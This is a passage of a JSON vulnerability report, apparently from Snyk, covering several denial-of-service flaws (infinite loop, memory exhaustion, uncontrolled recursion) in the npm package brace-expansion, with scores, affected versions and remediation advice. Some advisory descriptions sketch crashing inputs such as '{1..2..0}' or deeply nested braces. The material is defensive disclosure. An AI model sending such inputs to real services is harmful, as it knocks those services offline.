"cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub 